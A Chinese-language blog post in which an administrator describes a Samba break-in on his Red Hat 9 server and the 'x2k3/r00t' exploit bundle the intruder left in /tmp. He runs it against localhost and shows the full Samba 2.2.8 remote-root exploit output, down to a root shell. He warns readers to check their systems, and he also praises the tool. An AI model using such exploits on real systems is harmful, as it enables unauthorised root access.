從近日對被黑服務(wù)器的安全分析來看，我找到該用戶提升權(quán)限的工具。他是利用了Samba的安全漏洞提升為了ROOT。
這幾天服務(wù)器因?yàn)橐诺焦W(wǎng)測試，此時又安裝了Samba服務(wù)器。結(jié)果第二天就發(fā)現(xiàn)了服務(wù)器被黑
Samba是在Redhat Linux 9上默認(rèn)的版本。使用了該黑客的強(qiáng)大的exploit工具提升為了root。
提升為root，只需要短短的3秒鐘
自己汗一個
從服務(wù)器的tmp查找到一個x2k3的目錄
[bob@learnin9 tmp]$ cd x2k3/
[bob@learnin9 x2k3]$ ls
bind ftp gkr identd r00t samba
[bob@learnin9 x2k3]$ 
bind ftp gkr identd samba均為目錄，r00t為一個程序，讓我們來看看r00t程序的執(zhí)行情況
[bob@learnin9 x2k3]$ ./r00t 
.--------------------------------. 
| x2k3 / 
| Written by Natok / 
+------------------------+----.
| Targets: [1] Samba | <= 2.2.8 
| [2] Bind | 8.3.2 / 8.3.3 / 9.2.1 
| [3] gkrellmd | <2.1.12 
| [4] wu_ftpd | <=2.6.1 
| [5] identd | 1.2 
+------------------------+----.
| http://www.natok.de /
|____________________________/ 
./r00t 
[bob@learnin9 x2k3]$ ./r00t 127.0.0.1 1
[*] Range to scan : 127.0.0.0
[*] Socket Connecting to port : 139
[*] Press control+c for skipping ! 
Port 139 IP 127.0.0.0 -> Connection refused!
Port 139 IP 127.0.0.1 -> Connection ok!
[+] Let's sploit ;-)
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Verbose mode.
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Using ret: [0xbffffed4]
+ Using ret: [0xbffffda8]
+ Using ret: [0xbffffc7c]
+ Using ret: [0xbffffb50]
+ Using ret: [0xbffffa24]
+ Using ret: [0xbffff8f8]
+ Using ret: [0xbffff7cc]
+ Using ret: [0xbffff6a0]
+ Using ret: [0xbffff574]
+ Using ret: [0xbffff448]
+ Using ret: [0xbffff31c]
+ Using ret: [0xbffff1f0]
+ Using ret: [0xbffff0c4]
+ Using ret: [0xbfffef98]
+ Using ret: [0xbfffee6c]
+ Using ret: [0xbfffed40]
+ Using ret: [0xbfffec14]
+ Using ret: [0xbfffeae8]
+ Using ret: [0xbfffe9bc]
+ Using ret: [0xbfffe890]
+ Using ret: [0xbfffe764]
+ Using ret: [0xbfffe638]
+ Using ret: [0xbfffe50c]
+ Using ret: [0xbfffe3e0]
+ Using ret: [0xbfffe2b4]
+ Using ret: [0xbfffe188]
+ Worked!
--------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux learnin9 2.4.20-8 #1 Thu Mar 13 17:54:28 EST 2003 i686 i686 i386 GNU/Linux
uid=0(root) gid=0(root) groups=99(nobody)
id
uid=0(root) gid=0(root) groups=99(nobody)
看到了吧。就這么輕易的被奪取為root了。
我這只是localhost方式，其實(shí)遠(yuǎn)程也是一樣的直接獲取為root了。
請各位好好看看自己的Redhat 9吧。rpm -qa |grep ***** 是不是汗已經(jīng)出來了？
還有bind gkrellmd wu_ftpd identd這些溢出程序。我不知道這些程序是否就是屬于黑客界一些沒有公布出來的溢出程序。呵呵！
我的服務(wù)器因?yàn)闆]有啟動Bind、gkrellmd、wu_ftpd 、identd，只啟動了默認(rèn)安裝的samba，而且還是在公網(wǎng)上，所以那個黑客就中獎入侵到我的服務(wù)器了。可喜可賀，我也是終于找到了這么好的工具。
自己歡喜一下。去看了一下http://www.natok.de/ 居然發(fā)現(xiàn)是中文的網(wǎng)站，究竟里面是誰？很好奇.........
可以說，r00t程序是Natok寫的，但是exploit程序不是他寫的，他只是將其它的溢出程序分門別類的。做了個友好的界面，不過能搜集到還是很強(qiáng)的。
希望能結(jié)識到這個家伙！ 

最新評論